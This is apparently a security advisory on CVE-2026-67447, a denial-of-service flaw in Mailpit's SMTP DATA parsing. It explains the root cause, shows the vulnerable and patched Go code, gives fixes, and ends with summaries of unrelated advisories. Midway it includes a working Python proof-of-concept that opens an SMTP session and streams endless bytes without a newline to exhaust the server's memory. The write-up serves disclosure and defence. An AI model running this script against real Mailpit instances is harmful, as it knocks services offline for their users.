Aug 20, 2026·8 min read·1 visit
Unauthenticated remote attackers can crash the Mailpit SMTP server via memory exhaustion by sending an endless stream of characters without newline delimiters during the DATA command.
An uncontrolled resource allocation vulnerability (CWE-770) affects Mailpit SMTP server versions 1.30.0 through 1.30.4. The vulnerability is located within the DATA parsing logic, where an unauthenticated remote attacker can stream an endless sequence of bytes devoid of newline characters. Because line size limits are evaluated only after buffer completion, the Go runtime repeatedly allocates memory on the heap to store the single oversized line, causing resource exhaustion and an Out-Of-Memory termination of the service process.
Mailpit is an open-source email testing tool designed for developers. It features an embedded SMTP server to intercept, store, and display outgoing emails during application development. The internal SMTP processing engine relies on custom TCP parsing to handle incoming protocol commands, which exposes an unauthenticated attack surface to anyone capable of connecting to the SMTP port.
Under typical circumstances, the SMTP engine receives client requests, parses command verbs, and stores email payloads in an internal database. The processing of these payloads relies on parsing mechanisms within the internal SMTP daemon component. Specifically, the processing loop reads data streams dynamically during the message transmission stage initiated by the standard SMTP DATA command.
CVE-2026-67447 is an uncontrolled resource allocation vulnerability (CWE-770) that impacts Mailpit's SMTP handler. The vulnerability allows an unauthenticated remote attacker to exhaust host heap memory, which causes a Denial of Service (DoS). The root of the vulnerability lies in the use of unbounded buffer-reading functions that process incoming lines without immediate size throttling. The impact is restricted to availability but remains high for instances running in unified containerized or low-resource dev environments.
The vulnerability exists within the SMTP daemon session loop, specifically inside the readData function of the file internal/smtpd/smtpd.go. During the message ingestion cycle, standard SMTP clients transmit email data over a TCP stream. The application reads this data step-by-step to identify the terminating character sequence, which is a single period on its own line (\r\n.\r\n).
In affected versions, Mailpit reads incoming SMTP commands and message lines using the Go standard library function bufio.Reader.ReadBytes('\n'). This library function is designed to read from the underlying network socket continuously until it encounters the designated delimiter character. To accommodate the incoming network stream, the Go runtime automatically and dynamically expands the internal buffer slice located on the system heap.
Crucially, Mailpit's validation of the maximum allowed email size is deferred. The application checks the current cumulative message length only after the ReadBytes call successfully returns a complete line. Because the delimiter character determines when the function returns, an attacker can transmit an arbitrary, endless sequence of bytes that contains no newline delimiter. The server will dynamically expand its buffer on the heap indefinitely to store the continuous line.
Consequently, the application exhausts physical system memory prior to executing any size checks. The operating system's kernel or Go's memory manager intervenes and terminates the target Mailpit execution daemon. This architectural sequence of execution creates a straightforward path to an Out-Of-Memory (OOM) crash that can be exploited remotely by unauthenticated network clients.
Evaluating the vulnerable block in internal/smtpd/smtpd.go highlights the logical dependency on a successful line return before validating the size parameters. The vulnerable execution flow is represented below:
// Vulnerable Code Flow
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
// Message size validation occurs too late
if s.srv.MaxSize > 0 {
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}In the code snippet above, if the incoming TCP socket receives 100 megabytes of payload without a newline character, ReadBytes does not return. Instead, it continues to allocate memory, and the Go execution environment crashes prior to executing the size checks on line 7.
To remediate this, the vendor introduced an incremental parsing approach using bufio.Reader.ReadSlice('\n') inside a bounded loop within commit 8720c6bd8281fc00d458081908f1dbef8e59a98c. The patched implementation operates as follows:
// Patched Code Flow in internal/smtpd/smtpd.go
var line []byte
for {
fragment, err := s.br.ReadSlice('\n')
line = append(line, fragment...)
if err == nil {
break // Newline character was found; line reading is complete
}
if err != bufio.ErrBufferFull {
return nil, err
}
// The internal buffer filled up without finding a newline.
// Perform early size checking before allocating more heap memory.
if s.srv.MaxSize > 0 && len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}This modification prevents unbounded memory accumulation. By switching to ReadSlice, the server reads data in chunks matching the size of the reader's internal buffer (typically 4096 bytes). If a segment fills the internal buffer without a newline, ReadSlice returns bufio.ErrBufferFull. The server registers this fragment, checks the cumulative length against the maximum limit early, and rejects the message if it exceeds the boundary. This structure ensures that memory overhead per connection remains highly bounded.
Exploiting the vulnerability does not require specialized tooling or deep protocol manipulation. It is achievable using common system tools or automated networking scripts. The prerequisite for the attack is direct network access to the target SMTP port, which is 1025 by default.
An attacker initiates a standard TCP handshake with the Mailpit SMTP port and issues standard SMTP greetings. The script below illustrates a conceptual attack path by establishing a connection, initiating the DATA phase, and transmitting a payload consisting of a single, long line of characters.
import socket
import sys
target_ip = "127.0.0.1"
target_port = 1025
try:
# Establish the TCP connection to the target SMTP daemon
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send SMTP greeting commands
s.sendall(b"EHLO attacker.local\r\n")
print(s.recv(1024).decode())
s.sendall(b"MAIL FROM:<attacker@example.test>\r\n")
print(s.recv(1024).decode())
s.sendall(b"RCPT TO:<test@mailpit.local>\r\n")
print(s.recv(1024).decode())
s.sendall(b"DATA\r\n")
print(s.recv(1024).decode())
# Stream endless data without newline characters
print("[+] Sending endless stream without newline...")
chunk = b"A" * 4096
while True:
s.sendall(chunk)
except KeyboardInterrupt:
print("[*] Finished transmission.")
except Exception as e:
print(f"[-] Connection closed: {e}")When executed against a vulnerable Mailpit instance, the target server buffers each segment of the chunk. Because no newline character is present, the dynamic heap allocation loop continues to grow. If multiple connections are executed concurrently, the system memory consumption rises exponentially, leading directly to a crash of the service process.
The following diagram maps the logical execution flow of an attack targeting the unbounded buffer mechanism within the vulnerable Mailpit SMTP server.
As shown in the flow representation, the size check logic is entirely bypassed during the infinite byte stream phase. The validation code is never reached because the condition to terminate the loop (the \n character) is never transmitted. This structural flaw allows memory utilization to escalate unchecked.
The primary impact of CVE-2026-67447 is complete denial of service. Since Mailpit is widely deployed as a localized testing tool, a service crash interrupts developer test workflows and local automation processes.
While categorized as low availability impact under CVSS metrics (as it is normally classified for standard microservices), the actual deployment context can result in broader operational disruption. If Mailpit runs inside a shared developer server or virtual machine without proper container level resource limits, the memory exhaustion can trigger the operating system's OOM killer to terminate critical adjacent processes.
This vulnerability does not allow remote code execution or unauthorized information access. The integrity and confidentiality of the processed email store are not directly compromised. However, because it can be executed remotely without authentication, any publicly exposed developer instance is vulnerable to immediate disruption.
Detecting vulnerable instances of Mailpit is achievable by polling the API or verifying the current binary build version. Security teams can query the HTTP endpoint /api/v1/info to retrieve the JSON response showing the active release version. If the reported version is between 1.30.0 and 1.30.4, the instance must be flagged as vulnerable.
To remediate the vulnerability, upgrade the installation of Mailpit to version 1.30.5 or newer. This version implements early segment limits that effectively drop oversized connections before heap exhaustion can manifest. If immediate upgrades are not feasible, network administrators must enforce the following mitigations:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
Mailpit axllent | >= 1.30.0, < 1.30.5 | 1.30.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-770 |
| Attack Vector | Network |
| CVSS v3.1 Score | 5.3 (Medium) |
| Exploit Maturity | None / Theoretical Proof-of-Concept |
| CISA KEV | Not Listed |
| Ransomware Use | No |
| Vulnerability Class | Uncontrolled Resource Allocation (CWE-770) |
The product allocates memory, CPU, or other resources based on untrusted input without enforcing a limit or throttling on the allocation size or frequency.
An authenticated user with global translation permissions can exploit a missing authorization check on the page translation endpoint in Wagtail CMS. This allows the attacker to copy and view pages they do not have explicit edit or explore access to.
A critical cross-site WebSocket hijacking (CSWSH) vulnerability in Mailpit allows malicious websites to bypass CORS security controls via URL-encoded path mismatches, exposing sensitive development SMTP communications to unauthorized actors.
A critical vulnerability in Dgraph Alpha allows unauthenticated network clients to delete and replace database stores. The public gRPC interface on port 9080 processes external snapshot streams without enforcing authentication or authorization, triggering immediate database destruction via the storage engine's initialization process.
A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.
GeoLens before version 1.2.4 contains multiple critical-tier security vulnerabilities including improper authorization in metadata access, tile cache scope leakage, dataset title enumeration, weak default credentials, and denial of service via STAC POST search.
CVE-2026-55694 is a chained Information Disclosure and Insecure Direct Object Reference (IDOR) vulnerability in Snipe-IT prior to version 8.6.3. The vulnerability allows authenticated, restricted users to completely bypass randomized file-naming security controls, leak the obfuscated filenames of signed End User License Agreements (EULAs), and subsequently download these confidential documents across tenant boundaries.